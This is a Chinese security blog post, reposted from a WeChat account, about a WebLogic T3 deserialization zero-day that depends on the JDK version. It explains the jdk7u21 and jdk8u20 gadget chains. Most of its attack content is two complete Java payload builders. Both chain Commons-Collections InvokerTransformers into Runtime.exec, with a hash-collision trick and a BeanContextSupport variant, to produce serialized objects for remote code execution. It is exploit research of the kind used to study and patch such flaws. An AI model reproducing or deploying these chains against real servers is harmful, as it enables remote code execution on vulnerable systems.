WebLogic概率0day的故事

  • A+
所属分类:安全文章

简述



过年啦,过年啦,终于可以把之前的概率0day写一下了,为啥叫概率0day嘞,是因为要求实在是有点苛刻了(jdk版本)。分析呢,可以看这篇文章

手动艾特宽字节安全

unicodeSec,公众号:宽字节安全某weblogic的T3反序列化0day分析

既然文章中写了有jdk8的事,那么必须整上。


 jdk反序列化链



jdk历史上有两个反序列化链,一个是jdk7u21,一个是jdk8u20,首先看一下7u21,最主要的类就是AnnotationInvocationHandler,接下来在equalsImpl方法中会循环反射调用方法,而equalsImpl会在invoke方法中调用,所以最重要的点在于如何调用到invoke方法中。已知动态代理会自动调用invoke方法,那么只要将用到的类塞入代理中就可达到rce

 public Object invoke(Object var1, Method var2, Object[] var3) {
         String var4 = var2.getName();
         Class[] var5 = var2.getParameterTypes();
         if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
             return this.equalsImpl(var3[0]);
        } else {

    可以看到当代理的方法为equals参数长度为1并且为Object就可进入到equalsImpl方法中,熟知的在hashmap存储中,会判断值是否相等,同样思考是否可以利用(可以思考为啥不能用)。通过这个思路,找到HashSet,向下找到一个没有readobject方法的LinkedHashSet类,还有一个需要绕过的点e.hash == hash && ((k = e.key) == key || key.equals(k)),需要绕过hash相等,

是有了一个新的字符串"f5a5a608",由此构造代码(直接改造)

 Transformer[] transformers = new Transformer[] {
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                 new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
        };
         Transformer transformerChain = new ChainedTransformer(transformers);
         Map innerMap = new HashMap();
         Map outerMap = LazyMap.decorate(innerMap, transformerChain);
         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
         construct.setAccessible(true);
         InvocationHandler handler = (InvocationHandler) construct.newInstance(XmlLocation.class, outerMap);
         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
         handler = (InvocationHandler) construct.newInstance(XmlLocation.class, proxyMap);
 
         MarshalledObject marshalledObject = new MarshalledObject(handler);
 
         String zeroHashCodeStr = "f5a5a608";
 
         HashMap map = new HashMap();
         map.put(zeroHashCodeStr, "foo");
 
         InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
         Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
         Source proxy = Gadgets.createProxy(tempHandler, Source.class);
 
         LinkedHashSet set = new LinkedHashSet(); // maintain order
         set.add(marshalledObject);
         set.add(proxy);
 
 
         map.put(zeroHashCodeStr, marshalledObject);
 
         serialize serialize = new serialize();
         serialize.readObject(set);

由此cc链和MarshalledObject搭配的新jdk7u21就完成了,可以看一下官方修复,在readObject中抛出了错误而不是直接返回。

 var1.defaultReadObject();
 AnnotationType var2 = null;
 try {
      var2 = AnnotationType.getInstance(this.type);
 } catch (IllegalArgumentException var9) {
      //return; jdk7u20
      throw new InvalidObjectException("Non-annotation type in annotation serial stream");
 }


虽然抛出了错误,但是在defaultReadObject方法中就已经完成了反序列化操作。JRE8u20的漏洞作者提出一个新的利用点java.beans.beancontext.BeanContextSupport,具体细节不做讲解。主要利用了:


https://github.com/QAX-A-Team/SerialWriter

 

稍微修改一下就可以成功利用与8u20的变形。

 Serialization ser = new Serialization();
 //       Templates templates = makeTemplates("calc.exe");
         Transformer[] transformers = new Transformer[] {
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                 new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                 new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
        };
         Transformer transformerChain = new ChainedTransformer(transformers);
         Map innerMap = new HashMap();
         Map outerMap = LazyMap.decorate(innerMap, transformerChain);
         Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
         construct.setAccessible(true);
         InvocationHandler invocationHandler = (InvocationHandler) construct.newInstance(XmlLocation.class, outerMap);
         Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, invocationHandler);
         invocationHandler = (InvocationHandler) construct.newInstance(XmlLocation.class, proxyMap);
 
         MarshalledObject marshalledObject = new MarshalledObject(invocationHandler);
 
         HashMap map = new HashMap();
         map.put("f5a5a608", marshalledObject);
         TCObject handler = makeHandler(map, ser);
         TCObject linkedHashset = new TCObject(ser);
         TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
         TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
         TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
         hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
         TCObject.ObjectData hashsetData = new TCObject.ObjectData();
         hashsetData.addData(makeBeanContextSupport(handler, ser));
         hashsetData.addData(10, true); // capacity
         hashsetData.addData(1.0f, true); // loadFactor
         hashsetData.addData(2, true); // size
         hashsetData.addData(marshalledObject);
         TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
         hashsetData.addData(proxy);
         linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
         linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
         ser.addObject(linkedHashset);
         ser.write("8u20.ser");

本文始发于微信公众号(白帽子飙车路):WebLogic概率0day的故事

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: